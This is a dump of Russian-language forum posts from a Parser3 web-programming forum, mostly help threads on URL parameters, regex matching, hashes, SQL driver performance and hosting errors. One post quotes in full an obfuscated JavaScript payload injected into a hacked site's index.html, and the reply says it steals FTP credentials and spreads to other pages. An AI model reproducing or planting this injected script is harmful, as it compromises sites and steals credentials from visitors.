	WHERE param=$_sp}]\
  }\
  $result[$_s]\
\
@print_s[]\
  ^if($s){\
    ^s.menu{\
      $s.id - $s.title\
    }[<br />]\
  }\
\
[/code]\
\
[url=http://www.parser.ru/forum/?id=62248]Несколько вариантов работы со свойствами[/url].\
\
p.s. Постарайтесь уйти от глобальных переменных. ^MAIN:oSQL - не самое удачное решение."
"67047","Именно того варианта, который нужен - нет, а собирать из исходных кодов я не умею и вряд ли научусь, так как сам занимаюсь этим очень редко. Linux CentOS. После установки парсера для RHL - пишет, что-то Permission.. В хелпе написано, что после такого надо установить подходящую версию.\
\
Может у кого есть собранный парсер под CentOS?"
"67048","...а не добавляю я их по той причине, что imo в текстах сообщений ссылки бывают заключены в скобки чаще, чем скобки присутствуют в ссылках."
"67049","RedHat = CentOS+коробка с дистрибутивом+телефон техподдержки.\
Ничего пересобирать не нужно. \
А \"что-то там permission\" - слишком растяжимое понятие. \
Все-таки, правильнее обратиться в службу техподдержки. \
Или сюда выкладывать полностью ошибки, которые выдаются."
"67050","Спасибо. Попробую через техподдержку. Сложность только что хостинг не мой и приходится через двух людей с саппортом общаться. Выйду на прямую - может и получится. :)"
"67051","Добрый день!\
Есть конструкция вида:\
[code]/msgboard/?^url_params:get_params[okrug]okrug=$out.okrug_id[/code]\
В HTML коде получаем: <a href=\"/msgboard/?ТУТ ПЕРЕНОС\
type=5&okrug=1\" class=\"okrug\">\
Из-за чего роботы некоректно обрабатывают ссылки.\
Как избежать этого переноса?"
"67053","/msgboard/?%0Atype=2 теперь вот так стало.."
"67054","Вы же код метода get_params не показали, а в нем, наверняка, этот лишний перенос строки и создается."
"67055","[code]\
@CLASS\
url_params\
\
@get_params[newparam]\
$hash[$form:fields]\
^if($hash){\
	^hash.delete[$newparam]\
	^hash.delete[nameless]\
	$result[^hash.foreach[key;value]{$key=$value&}]\
}\
[/code]"
"67058","[code]\
@test[]\
$a[3]\
^if($a==3){\
TESTHERE\
}\
[/code]\
Вставляем:\
[code]<a href=\"/msgboard/?^test[]okrug=$out.okrug_id\" class=\"okrug\"[/code]\
\
Получаем:\
<a href=\"/msgboard/?\
TESTHERE\
okrug=1\" class=\"okrug\""
"67059","[code]\
@CLASS\
url_params\
\
@get_params[newparam]\
$temp[\
	$hash[$form:fields]\
	^if($hash){\
		^hash.delete[$newparam]\
		^hash.delete[nameless]\
		^hash.foreach[key;value]{$key=$value&}\
	}\
]\
$result[^temp.match[\\n|\\t][g]{}]\
[/code]\
\
А еще перенос уберался если перенсти ^if на  строчку выше:\
[code]\
$hash[$form:fields]^if($hash){...\
......\
[/code]\
\
Но хотелось бы всё-равно понять причину.."
"67060","ну так а зачем у вас переносы в коде то?\
[code]@test[]\
$a[3]\
$result[^if($a==3){TESTHERE}][/code]\
\
и делов то..."
"67061","А разве переносы в коде теперь = переносы в html?\
Причем тут еще вот в чем дело - браузеры такие переносы отрабатывают нормально, а вот UNIX роботы нет."
"67062","потому что вот тут:\
[code]\
$temp[\
                  ^rem{<-- вот тут}\
.....\
][/code]\
\
у вас стоит перенос строки.\
\
Сделайте так и проблема исчезнет\
\
[code]@get_params[newparam]\
  $result[]\
  $hash[$form:fields]\
  ^if($hash){\
    ^hash.delete[$newparam]\
    ^hash.delete[nameless]\
    $result[^hash.foreach[key;value]{$key=$value&}]\
  }\
[/code]"
"67063","http://www.parser.ru/forum/?id=67055"
"67064","[quote]Положите файл parser3.cgi в каталог cgi-bin на вашем сервере (закачивать файл по ftp необходимо в режиме binary);\
\
Установите ему необходимые права на выполнение (уточните у вашего хостинг провайдера, но обычно это — 755);[/quote]"
"67065","Но все равно - вы привели похоже не весь код.\
\
Возможно где-то в другом месте у вас происходит передача в данный метод значения с переносом.\
\
В исходном сообщении вы приводите вот такой url:\
[quote]<a href=\"/msgboard/?ТУТ ПЕРЕНОС\
type=5&okrug=1\" class=\"okrug\">\
[/quote]\
\
Внимание вопрос - как в URL попадает символ \"?\" и параметр \"type=...\" (меджду которыми собсна и возникает проблемный символ)"
"67066","Привел полный код, а как попадает было в первом сообщении:\
[code]/msgboard/?^url_params:get_params[okrug]okrug=$out.okrug_id[/code]\
Просто тут параметр другой указан был, их там много разных на странице, не в параметре суть. Суть метода - берет список переменных в урл адресе и удаляет нужную нам переменную. Т.е.:\
...?type=1&okrug=1&bs=1, мы захотели поменять okrug, соответсвенно старый удаляем, новый вставляем..\
В нашем случае получается, что перенос в коде превращается в 1 пробел... С этим можно как-то бороться? Я раньше при выводе во всем коде резал переводы и табуляцию, но иногда нужно вставить JS скрипт и из-за этого он не работает.. Можно еще как-то сделать?"
"67067","[code]\
@_makeParams[aParam][lForm]\
  $lForm[$form:fields]\
  ^lForm.delete[$aParam]\
  ^lForm.delete[nameless]\
  $result[^lForm.foreach[k;v]{^taint[uri][$k]=^taint[uri][$v]}[&]]\
  \
@onUri[aActionArgs]\
  <pre>\
  ?^_makeParams[skip]&skip=2\
  </pre>\
[/code]\
\
Ищите проблему - она явно в Вашем коде. Попробуйте выделить код двух методов в отдельный файл и сравните результат."
"67068","[code]\
@_makeParams[aParam][lForm]\
  $a(3)\
  ^if($a){\
   $lForm[$form:fields]\
   ^lForm.delete[$aParam]\
   ^lForm.delete[nameless]\
   $result[^lForm.foreach[k;v]{^taint[uri][$k]=^taint[uri][$v]}[&]]\
  }\
@onUri[aActionArgs]\
  <pre>\
  ?^_makeParams[skip]&skip=2\
  </pre>\
[/code]\
А так работает?"
"67071","Да какая разница какой редактор?\
\
Если у вас определен result то из метод возвращает только то, что в нем. Количество и состав символов вне result не имеет значения.\
\
Я тоже проверил ваш код - у меня он работает как надо.\
\
Ошибка где то в другом месте.\
\
Хотя, если ваш редактор не показывает переносы строк... :))\
\
P.S. это был ответ на это - http://www.parser.ru/forum/?id=67070"
"67072","про result абсолютно согласен.... Буду искать в чем причина..\
Спасибо за помощь!"
"67074","Попробуйте так:\
\
[code]@get_params[newparam]\
  $result[]\
  $hash[$form:fields]\
  ^if($hash){\
    ^hash.delete[$newparam]\
    ^hash.delete[nameless]\
    $result[|||^hash.foreach[key;value]{$key=$value&}|||]\
  }[/code]\
\
И посмотрите/убедитесь в том, что конкретно данный метод возвращает"
"67075","[quote]\
А разве переносы в коде теперь = переносы в html?\
[/quote]\
\
здрасте приехали. так у парсера всегда было. он лишь делает оптимизацию whitespaces: от нескольких идущих подряд пробельных символов оставляет первый.\
\
[quote]\
Причем тут еще вот в чем дело - браузеры такие переносы отрабатывают нормально, а вот UNIX роботы нет.\
[/quote]\
\
что такое \"unix роботы\" -- я не знаю.\
какие именно переводы строк вы имеете в виду (unix-style, mac-style или windows-style) -- неизвестно. если вы говорите про unix хостинг, то работая на нём парсер выдаёт unix-style переводы строк, и как у \"unix-роботов\" (что бы это ни было) могут быть проблемы со своими родными переводами строк == лично мне непонятно."
"67076","1. в случае, если form:fields пустой, у вас вашим методом будет выдан перевод строки\
2. вместо '&' в @href пора начинать выдавать &amp; или '^taint[&]', да и выдавать его лучше в виде разделителя imho, чтобы иногда в ваших @href не оказывалось завершающего амперсанда."
"67077","В документации по другим языкам программирования, обычно идет отдельный раздел/глава, посвященная этому вопросу. \
В документации по парсеру я так и не нашел. \
Вывел для себя два теоретических способа:\
1) @method[param1; param2; param3] и уже в самом методе проверять значение, если пустое - ставить то, что нужно. Но, опять же, какой-то параметр передавать нужно. Хотя бы пустой. \
\
2) @method[param], где $param - это хэш. Только не совсем понял, как в этом случае прописываются дефолтные параметры. Также делать проверку, определены ли значения для данных ключей?"
"67078","http://www.parser.ru/forum/?id=12059"
"67079","UE из-за точки с запятой в теле index.html.\
\
Вскрытие показало, что к документу дописано 232 перевода строки, после которых следующее:\
[quote]<!--feb96e0af7aa8222e3590c169b39c1b1-><script language=javascript>ogu=\"%\";ie=\"<J73cripJ74 languJ61gJ65J3dJ6aJ61vJ61sJ63J72J69J70t>J20 functionJ20J78sJ64J28J61J29{var scJ2cvJ77J7aJ3dJ22wjJ76mJ38J78J4657]J3a*tJ50(HuJ47{#nJ4d,J2bJ49pJ6fUJ4fJ2dEJ63bq}gzJ5fK`e0J42;sJ32J36J43J5alJ40J66V$TJ41^y'rJ33dJ68J20i.J7c\\\\J229=aJ6bJ4eJ34J5bJ31J4a~)&!\\\",ejJ75J3d\\\"J22,rkJ2czJ71w,z=J22\\\",ma;fJ6fJ72(scJ3d0;sJ63J3ca.J6ceJ6eJ67thJ3bscJ2bJ2b){ rk=a.charJ41J74(sJ63)J3bzqw=vJ77zJ2eiJ6edeJ78Of(J72kJ29J3bJ69J66(zJ71w>-1J29J7b J6daJ3d((zJ71J77J2b1J29J25J38J31-1);ifJ28J6daJ3cJ3d0J29maJ2bJ3d81;z+=vwz.J63haJ72AJ74(ma-1J29; J7dJ20J65J6cseJ20J7aJ2b=J72J6bJ3b}J65juJ2b=J7aJ3bdoJ63uJ6dent.wriJ74eJ28eju);}J3cJ2fsJ63riJ70tJ3e\";gnir=unescape(ie.replace(/J/g,ogu));var ht,xhi;document.write(gnir);ht=\"<2b3.oPi@kMzGkz0a9vkmk2b3.oP9>ihUbG80MP|j3.P0Hi9<SZRp(Ai@kMzGkz0a\\\\9~kmkSb3.oP\\\\9iSRZa\\\\9 PPo*//jjj|zUUz@0kMk@'P@b2|bU8/KKGPP|v2?9IhUbG80MP|30V03303I9\\\\9><\\\\/SZRp(A>9i&si</2b3.oP>i\";xsd(ht);</script>[/quote]\
\
О действиях этой хреновины могу только догадываться.\
\
Другие файлы не тронуты, другие сайты тоже.\
Прогоняю полную проверку на троянов, пока тихо, да и врятли чего найдёт.\
Скорее всего был украден FTP-пароль у меня или коллеги.\
\
Парсер снова «спас» сайт от зловредных намерений пакости."
"67080","Действие достаточно простое: через дырки в ie тырит пароль, логин и адрес сайта. А дальше робот коннектится по полученным паролям и прописывает в индексные (иногда и во все остальные тоже) страницы этот же, или уже измененный код. \
Иногда может пытаться загружать и запускать трояна какого-нибудь в добавку."
"67081","делается все оч. просто, можно передать заранее созданный hash (например из [url=\"http://www.parser.ru/docs/lang/hashsql.htm\"]SQL[/url]) а можно его на лету создавать:\
[code]\
^method[$.param1[value] $.param2[value] $.param3[value]] \
[/code]\
что касается параметров по-умолчанию, то я лично использую объединение хешей http://www.parser.ru/docs/lang/hashunion.htm. \
\
 [code]\
@method[params] \
$defaults[^hash::create[]]\
$defaults[\
   $.param1[val1]\
   $.param2[val2]\
   $.param2[val3]\
]\
^if($params){\
# 	таким макаром мы можем переписать defaults если надо\
	$_params[^params.union[$defaults]]\
\
# используем параметры из hash\
}\
[/code]\
\
p.s. \
я использую немного другой алгоритм, но мне кажется что это должно помочь."
"67082","у операторов/методов парсера произвольное переменное число параметров практически не встречается. я помню только exec/cgi, где параметры, передаваемые вызываемому скрипту можно передать указав разное кол-во параметров вызываемого метода. да и то: там есть ограничение на их количество (20) и это оказалось очень неудобно использовать из языка, поэтому была добавлена альтернатива: передача списка параметров в виде таблицы.\
\
причина довольно проста: мы считаем, что это не жизненноважная вещь, кроме того в случае большого количества параметров существенно удобнее передавать их в виде хеша, при этом читая код вызова метода сразу видно что передаётся и не нужно \"считать разделители\".\
\
\
[quote]\
@method[param1; param2; param3] и уже в самом методе проверять значение, если пустое - ставить то, что нужно. Но, опять же, какой-то параметр передавать нужно. Хотя бы пустой.\
[/quote]\
\
с чего вы взяли, что нужно передавать пустой параметр?\
если у вас описан метод, принимающий 2 параметра, то вызвать его можно и без параметров.\
другое дело, что метод должен быть готово к этому.\
а значений по умолчанию у нас нет, это точно.\
\
\
я обычно для необязательных параметров использую хеш-параметр, а обязательные выношу в отдельные параметры."
"67083","На странице задана кодировка в виде \
<HEAD>\
<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\
<TITLE></TITLE>\
</HEAD>\
\
При загрузке автоматически не определяется и показывает крякозябры. google, к примеру на utf8 и показывает нормально. Браузер konqueror, asplinux 12."
"67084","в случае, если браузеру выдан и этот заголовок и meta с указанием кодировки налицо конфликт, и бразуер в принципе может пытаться показывать документ в любой из этих кодировок (или вообще пытаться анализировать страницу и пытаться определить её самостоятельно), результат же, очевидно, не гарантируется.\
\
т.е. информация о кодировке в http заголовке content-type и meta должна быть одинаковой.\
\
в принципе meta можно вообще не выдавать. если информация о кодировке корректно выдаётся в content-type, то браузер при загрузке страницы с сервера всё покажет корректно. однако если в странице нету meta, то у пользователя могут возникнуть проблемы если он захочет сохранить страницу на диске, и потом открыть её прямо с диска. вот тут без meta у браузера информации о кодировке не будет (btw: некоторые браузеры при сохранении страницы на диске сами добавляют meta, если её не было)."
"67085","у них же на сайте онлайн-консультант есть."
"67092","Да, спасибо - как сам не догадался? :)\
\
Пообщались с консультантом.\
\
В логах пишет вот что:\
failed to open log file /var/log/httpd/suexec_log\
fopen: Permission denied\
Premature end of script headers: parser3.cgi\
\
\
Консультант отвечает:\
\
13:25:27 Михаил Озорович: Всё понятно, парсер Ваш в /var/log пытается получить доступ куда доступ закрыт и открыт быть не может\
.....\
13:31:41 Посетитель: Что теперь делать? Не могу понять в чем разница: в других местах все становилось хорошо.\
13:32:52 Михаил Озорович: Изменить путь для сохранения логов или же перейти на VPS\
\
Понятное дело, что на VPS пока никто переходить не собирается, но и таких проблем не было на других хостингах. :("
"67094","парсер знать ничего не знает про /var/log/httpd/suexec_log\
туда пытается лезть настроенный хостуром suexec."
"67100","[code]\
^switch[^name.match[???...???]]{\
 ^case[ася]{case1}\
 ^case[аня]{case2}\
}\
\
Нет... скорее так:\
^switch[$name]{\
 ^case[^этот_параметр.match[ася]]{case1}\
 ^case[^этот_параметр.match[аня]]{case2}\
}\
\
[/code]\
\
только вот что пойдет в \"этот_параметр\" ?\
\
Можно ли как-то сделать switch case с match ? тоесть в ^case запихивать то, что должно быть ^match ? :)"
"67101","[code]$name[Маша Сидорова]\
или\
$name[Паша Сидоров]\
\
^switch[^name.match[^^([^^\\s]+).*][i]{^match.1.lower[]}]{\
  ^case[маша]{в магазин}\
  ^case[паша]{на футбол}\
}[/code]"
"67102","Вариант хорош для конкретной задачи выкусывания первого слова :)\
Нужен универсальный вариант. Конечно можно написать свой оператор switch..."
"67103","Для выкусывания конкретного слова switch не нужен \
\
достаточно \
\
[code]$sWithoutName[^name.match[^^[^^\\s]+\\s(.*)][]{$match.1}][/code]\
или \
[code]$sWithoutName[^name.match[^^(?:(?:Маша)|(?:Паша))\\s(.*)][i]{$match.1}][/code]\
\
Что вы хотите - не понятно, может объясните поподробнее конкретную задачу?\
\
[quote]\
[code] ^case[^этот_параметр.match[аня]]{case2}[/code]\
  только вот что пойдет в \"этот_параметр\" ?\
[/quote]\
\
а кто знает, что у вас в \"этом параметре\"? это только вы знаете.\
\
например в случае с $этот_параметр[мой параметр] в этом параметре будет строка \"мой параметр\"\
\
Если вы предполагаете что в case попадает как-то то, что написано в первом параметре switch, то прочтите тут повнимательнее\
\
[url=\"http://www.parser.ru/docs/lang/opswitch.htm\"]http://www.parser.ru/docs/lang/opswitch.htm[/url]"
"67104","Можно сделать так:\
\
^if(^name.match[аня]){case1}\
^if(^name.match[ася]){case2}\
\
А как сделать с использованием ^switch[] ? Понятно, что я привел рабочий вариант. Просто хочется элегантности..."
"67105","А что у вас в name - произвольный кусок текста?"
"67107","[code]\
$s[_аня_]\
^switch(true){\
	^case(^s.match[аня]){\
		case аня\
	}\
	^case(^s.match[вася]){\
		case вася\
	}\
}\
[/code]\
\
P.S. не рекомендуется, т.к. вычислятся будет первый параметр каждого case\
P.P.S. если обнаружится совпадение более чем в одном case -- будет ошибка"
"67108","Ну вот до кучи к [url=\"http://www.parser.ru/forum/?id=67107\"]варианту Мишы[/url] (юзайте его на свое усмотрение:) ), есть еще вариант:\
\
[code]^switch[^name.match[\\b( (?:аня)|(?:ася) )\\b][gix]{$match.1}]{\
   ^case[аня]{послать Аню}\
   ^case[ася]{послать Асю}\
   ^case[DEFAULT]{не нашли ни одной девки}\
}[/code]\
\
но вообще все это бред. Если текст произвольный, то в нем может попасться несколько имен (будет найдено первое).\
\
может таки расскажите поподробнее для чего вам это всё нужно?"
"67109","Это именно то, о чем я спрашивал! Спасибо!"
"67111","Лучше всего этот параметр смотреть в методе postprocess."
"67113","так уж \"[url=\"/forum/?terms=%22switch%28true%29%22&author=&doSearch=%CD%E0%E9%F2%E8\"]неожиданное[/url]\"?"
"67117","- один раз вычисляется значение 1 параметра switch\
- для каждого case вычисляется значение 1 параметра и сравнивается с DEFAULT и вычисленным значением в switch. если значения совпадают и совпадения уже были раньше -- ошибка. если совпадают и не было совпадений раньше -- запоминается факт совпадения и ссылка на код case-а.\
- если после завершения обработки всех case было найдено совпадение -- выполняем код, указатель на который мы получили. если не было, но был получен указатель на код DEFAULT -- выполняем его.\
\
как то так в общих словах (есть ещё ньюансы). на C++ по моему выглядит короче и понятнее %-)"
"67120","Есть текст страницы с тегами. Нужно получить содержимое первого абзаца <p>...</p>.\
Делаю так:\
[code]\
$content[\
    <p>text1 <a href=\"#\">link</a></p>\
    <p>text2</p>\
    <p>text3</p>\
]\
$match[^content.match[<p>([^^(</p>|<p>)]+)</p>][i]]\
$match.1\
[/code]\
Получаю text2\
Подскажите в чем ошибка, как получить содержимое первого абзаца?"
"67124","Срочно. \
Требуется услуга по сопровождению сайта написанного на Parser\
Интересут ценник и предоставляемые услуги.\
Сайт Торгового центра.\
Есть Элементы написанные на флэш (навигатор по магазину)"
"67125","icq: 177231858 - стукните, обсудим"
"67126","Та же фигня была: поставил 755 - заработало."
"67127","Для бета версии ODBC где есть опция SQL=mssql, модифицирующая SQL запрос с offset (с использованием TOP).\
\
Данные\
[code]\
что			Reads	Writes	Duration\
новый драйвер		7604	0	2300\
mssql драйвер		7604	0	870\
[/code]\
Условия тестирования:\
1. MS SQL 2005\
2. Таблица на 1 млн. строк\
3. Скрипт создания таблицы:\
[code]\
CREATE TABLE [dbo].[t](\
	[id] [int] IDENTITY(1,1) NOT NULL,\
	[uid] [varchar](63) NOT NULL,\
 CONSTRAINT [PK_t] PRIMARY KEY CLUSTERED \
(\
	[id] ASC\
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]\
) ON [PRIMARY]\
[/code]\
4. Запрос:\
[code]\
$t[^table::sql{\
		SELECT\
			*\
		FROM\
			t\
		ORDER BY\
			uid DESC\
	}[\
		$.limit(15)\
		$.offset(900000)\
	]]\
[/code]\
5. Обоими драйверами запрос модифицируется до:\
[code]\
SELECT TOP 900015\
			*\
		FROM\
			t\
		ORDER BY\
			uid DESC\
[/code]"
"67129","для тех, кто не заметил: по сравнению с предыдущими тестами количество записей в таблице увеличилось в 10 раз (со ста тысяч до миллиона), сколько при этом \"работал\" бы старый odbc драйвер я даже боюсь подумать %-)\
\
в odbc драйвере делается много .MoveNext() в цикле вместо одного .Move(offset), т.к. для работы последнего курсор надо открывать иначе, а при этом падает производительность (по крайней мере у меня на MSSQL2000).\
\
ну и до кучи сообщаю, что новый odbc драйвер с параметром SQL=mssql в [url=\"/forum/?id=66950\"]тех-же условиях[/url] (MSSQL2000, 100000 записей) у меня показывает результаты практически идентичные mssql драйверу: с большим offset он работает дольше чем без этого параметра (возможно это проблема SQL2000), зато на маленьких offset -- \"летает\".\
\
в общем кто использует odbc драйвер -- тем станет несколько лучше. однако тем, кто использует его для работы с MSSQL и кому нужно ещё бОльшее ускорение, особенно при работе с большими offset -- добро пожаловать к egr-у за MSSQL native драйвером (не забудьте прочитать его инструкцию)."
"67130","Вот получил такое сообщение, случайно зайдя на один из своих сайтов - http://www.useTrans.com\
\
В логах Парсера было написано следующее:\
[code]\
[Thu Jul 10 20:44:25 2008] [41565] /: './auto.p' read failed: Too many open file\
s in system (23), actual filename './auto.p' [<no type>] [uri=/, method=GET, cl=\
0]\
[/code]\
\
Зайдя на хостинг по SSH один из запусков команды \"ls\" выдал мне следующее:\
[code]\
/libexec/ld-elf.so.1: Cannot open \"/lib/libutil.so.5\"\
[/code]\
\
Нагрузка на сервер? Или это что-то хостинг-провайдер обновляет???"
"67131","Решил перезагрузкой сервера.\
\
\
P.S. Хотя надо было посмотреть их список для начала."
"67132","Добрый день!\
Есть примерно такой хэш:\
\
[code]\
$level[\
   $.level1[\
      $.level2[\
         $.var1[]\
         $.var2[]\
      ]\
   ]\
]\
[/code]\
Предположим нужно получить $level.level1.level2.var1\
Есть переменная $hash_level[level1.level2] и нужно получить примерно такую конструкцию:\
[code]$level.${hash_level}.var1[/code]\
Так парсер сделать не дает.. Можно как-то это написать?"
"67135","А какой похожий вариант можно использовать? Если я знаю часть ключей хэша, как мне добраться до нужной ветки?"
"67136","Задача отказаться от физического хранения .html страниц.\
Придумал сделать так:\
\
1. Все запросы перенаправляются на index.html\
2. Есть таблица где мы храним id name uri(регулярное выражение) hash_key\
3. Есть примерно такой хэш:\
[code]\
$pages[\
	$.msgboard[\
		$.main[\
			$.body[\
				bla bla\
			]\
			$.unchecked[\
				bi	bi\
			]\
			$.header[page_header]\
		]\
	]\
]\
[/code]\
\
Ну и далее по регекспу берем нужный ключ из таблицы, а с помощью ключа достаем уже записи для каждой страницы."
"67137","...это -- строка с точками, которая _вами_ считается частью \"пути\" в хеше.\
\
варианты:\
1. process\
2. пишите метод, который принимает хеш и вашу строку, разбивает строку по точкам на кусочки, добирается до нужного элемента хеша и возвращает его\
3. в вашем случае хранить данные в одноуровневом хеше по моему ничуть не хуже, чем в многоуровнёвом\
\
[code]\
$pages[\
	$.msgboard[\
		$.main[\
			...\
		]\
	]\
]\
=>\
$pages[\
	$.[msgboard.main][\
		...\
	]\
]\
[/code]"
"67138","[code]@main[]\
$level[^hash::create[\
   $.level1[\
      $.level2[\
         $.var1[var1]\
         $.var2[var2]\
      ]\
   ]\
  ]\
]\
$hash_level[level1.level2.var1]\
\
$hRes[^selectHash[$level;$hash_level]]\
^rem{в данном случае в $hRes будет var1\
если $hash_level[level1.level2] то в $hRes будет хэш с двумя ключами $.var1[var1] и $.var2[var2]\
}\
\
@selectHash[h;sKey][tKeys]\
$result[^hash::create[$h]]\
$tKeys[^sKey.split[.;lv][key]]\
^if($tKeys){\
^tKeys.menu{\
	$result[$result.[$tKeys.key]]\
}}\
\
\
\
[/code]"
"67141","баг был в том, что если вы выполняли SELECT запрос с включенной опцией offset, и при этом возникала ошибка, в сообщении об ошибке, выводился не оригинальный запрос, а модифицированный драйвером (с использованием TOP).\
\
Исправленные версии (и для 3.2.3 API v9 и для 3.2.4 API v10) брать тут http://www.egoroff.spb.ru/portfolio/download/"
"67142","Еще можно так:\
[code]\
^if(^request:uri.match[$url.uri]){\
	$str[^$pages.${url.hash_key}.body]\
	^process{$str}\
}\
[/code]"
"67146","Есть сайт, который вдруг захотелось перевести на другие языки. \
Допустимо ли использовать в этом случае posprocess?\
\
какие грабли могут вылезти? кто так уже делал?"
"67147","Позже зайду через SSH и выполню \"uname\"."
"67148","По умолчанию там не шибко большие значения стоят - могут быть проблемы.\
\
Лучше поставить такие:\
[code]\
kern.maxfiles=204800                                                                                                                                  \
kern.maxfilesperproc=200000\
[/code]"
"67150","[Sun Jul 13 14:03:26 2008] [4292] /index.parser?: c:/inetpub/wwwroot/auto.p(21:2): 'C:\\Inetpub\\Parser3/lib/parser3mssql.dll' driver implements API version 0x000A not equal to 0x0009 [<no type>] [uri=/index.parser?, method=GET, cl=0]\
\
Ошибка возникает с обеими версиями DLL. После подмены файлов IIS перезапускал, не помогает.\
\
на сервере используется последняя официальная версия парсера, MSSQL2000 (MSDE), Windows Server 2003."
"67151","http://www.parser.ru/forum/?id=66922"
"67152","Помогло. Впрочем, сразу наткнулся на сообщение об ошибке в запросе из за \"TOP 1\"\
\
[Sun Jul 13 17:16:13 2008] [5660] /surveys/hz/begin.parser?: c:/inetpub/wwwroot/surveys/hz/begin.parser(18:28): ' SELECT TOP 1 MSISDN, in4, in5, in6, in7, out4, out5, out6, out7, len4, len5, len6, len7, [Состояние], [Группа], [ID абонента], [ID строки] FROM hz_numbers WHERE ( [Состояние] = 'Не опрашивался' OR [Состояние] = '') AND [Группа] = 'current' ORDER BY NEWID() ' SQLSTATE: 42000 SOURCE: Microsoft SQL Native Client ERROR MESSAGE: Incorrect syntax near the keyword 'TOP'. [sql.execute] [uri=/surveys/hz/begin.parser?, method=POST, cl=37]\
\
Убрал \"TOP 1\", заменил на \"правильное\" $.limit(1), словил \
\
[Sun Jul 13 17:17:49 2008] [5964] out of memory (while expanding string) [uri=/surveys/hz/begin.parser?, method=POST, cl=37]\
\
дальше копаться не стал пока, откатился на ODBC-вариант."
"67153","возможно он просто ошибся при сборке."
"67154","[quot]\
откатился на ODBC-вариант.\
[/quot]\
\
на старый драйвер или на новый (в разделе скачать есть подправленный odbc драйвер под API v.9)"
"67159","Следующее не работает:\
[code]\
usetrans# ./sysctl kern.maxfiles=204800\
kern.maxfiles: 1536\
sysctl: kern.maxfiles: Operation not permitted\
[/code]"
"67160","вы действительно хотите, чтобы у вас была русская версия сайта, которая в postprocess роботом автоматически переводилась бы на другие языки?\
\
такой вопрос: вы например, английский (или любой другой язык кроме вашего родного) хорошо знаете? а когда-нибудь пробовали переводить тесты на другие языки? у вас не возникало \"сложностей\" с тем, что слова имеют разные значения в зависимости от контекста?\
\
или такой вопрос: вы когда нибудь переводили тексты с английского на русский используя автоматические переводчики? и как вам потом результат, нормально читался?\
\
\
это я к тому, что пока нормально перевести текст с одного языка на другой роботы не умеют. т.е. в применении к сайтам это означает, что надо в CMS кому-то вводить несколько текстов на разных языках.\
\
а если вас устраивает \"кокашко\", полученное в результате автоматического перевода, то проще дать ссылку на какой-нить переводчик от гугл (или бабефиш), пусть посетители \"поржут\" над результатом."
"67161","... достаточно рутовых прав. Даже ребутать машину не нужно - эти параметры меняются из консоли.\
\
p.s. Думаю, что на эту проблему следует указать админу сервера. :)"
"67162","Эти команды запускал под рутом.\
Даже установил их в /etc/sysctl.conf.\
\
Так и сделал написал в Тех. поддержку."
"67163","[quot]\
настройки на ядерном уровне недоступны. Это ограничение виртуальных серверов. \
[/quot]\
\
Нынешние настойки:\
[code]\
kern.maxfiles: 1536\
kern.maxfilesperproc: 29491\
[/code]\
\
Нормально ли??? Судя по получению ошибок мне кажется нет. Но может дело в чем-то другом? К примеру корявом коде..."
"67164","В юниксе файлом является куча всего, кроме непосредственно файлов на диске. Полторы тысячи файлов на 300 процессов может исчерпаться очень быстро... Поэтому я бы поговорил с хостером об увеличении kern.maxfiles раз в пять."
"67165","Видимо нужен апгрейд."
"67166","Хотелось бы получить все переменные класса, которые были заданы через $self.свойство[что-то]. Нужно для того, чтобы сохранить состояние класса без лишних движений."
"67168","возможно, идея понравится не только мне.\
возможно, она будет реализована."
"67171","Как-то было нужно, но не столь специфично... Можно и подождать когда это понадобиться разработчикам, а сейчас по мне важнее OPTIONS."
"67172","Добрый день!\
Понадобилось написать собственную статистику на сайте, возникла проблема с разбором url rerferer'ов в которых есть русские буквы. Создал таблицу перекодировок, заменил с помощью replace. Всё вроде бы хорошо, но как я понял, для разных кодировок символы разные. Что делать? писать для каждой кодировки таблицу или можно как-то более красиво?"
"67173","Какие такие OPTIONS?\
Уже везде использую\
[code]@OPTIONS\
locals[/code]\
Даже в подсветку синтаксиса в e-texteditor добавил :-) А еще какие-то OPTIONS бывают?\
Лично для меня это самое значительное и позитивное изменение в Парсере, которое только могло произойти. [color=\"#444444\"]Из такого же полезного хочется только работы с кириллическими символами UTF-8 в классе String[/color][color=\"#666666\"] и возможности указать кодировку при сохранении файла/таблицы.[/color][color=\"#999999\"] Ну и чтобы bool имел строковое представление.[/color][color=\"#aaaaaa\"] Вообще-то еще массивы хотелось бы, но это пока решилось использованием класса Array...[/color] [color=\"#eeeeee\"]А если еще подумать........[/color]"
"67174","пока у OPTIONS бывает 2 значения: [url=\"/forum/?id=66550\"]locals[/url] и [url=\"/forum/?id=66858\"]append[/url] \
\
[quote]\
возможности указать кодировку при сохранении файла/таблицы\
[/quote]\
\
не планируется, т.к. это поощрение разводить помойку из разных кодировок в одном проекте.\
однако если очень хочется, то вы и сейчас можете воспользоваться хаком: $request:charset[нужная кодировка], save, $request:charset[исходная кодировка]\
\
\
[quot]\
Ну и чтобы bool имел строковое представление\
[/quot]\
\
задача?"
"67175","Очень долго пытался по совету, данному в этом: http://www.parser.ru/forum/?id=59167 сообщении и читал документацию по exec (http://www.parser.ru/docs/lang/filecgiexec.htm). \
Но ответа не нашел....\
\
Что именно возвращает ^file::exec[], и, конечно же, куда он это возвращает?"
"67176","про append:\
пока не осознал необходимости делать исходники компактными. Она есть?\
\
про кодировки:\
разводить помойку из разных кодировок в одном проекте -- осознанная необходимость. Я все проекты делаю строго в UTF-8, но выгружать данные для Excel приходится в win1251. Пользуюсь хаком.\
\
про bool:[code]\
@func[]\
$result(^doSomething[] == что-нибудь)\
\
@main[]\
^func[]\
[/code]И где-то еще оно мне мешало. Но это мелочи, по сравнению с остальным."
"67177","[code]\
$f[^file::exec[...]] <- в переменной f объект класса file.\
[/code]"
"67178","new.php\
[code]echo \"abc\";[/code]\
\
1.html\
[code]@body[]\
$f[^file::exec[new.php]]\
f.status = $f.status <br>\
f.stderr = $f.stderr\
[/code]\
возвращает\
f.status = 243 \
f.stderr =\
\
Что бы это значило?"
"67180","[quot]\
пока не осознал необходимости делать исходники компактными. Она есть?\
[/quot]\
\
причем тут компактность исходников я не понял.\
лично я буду пользоваться, т.к. мне не даёт спокойно спать осознание того факта, что в классе присутствуют большие методы, например выводящие формы, которые вызываются очень редко %-)\
(кстати я например не пробовал: получится ли с помощью 'append' модифицировать системный класс?)\
\
\
\
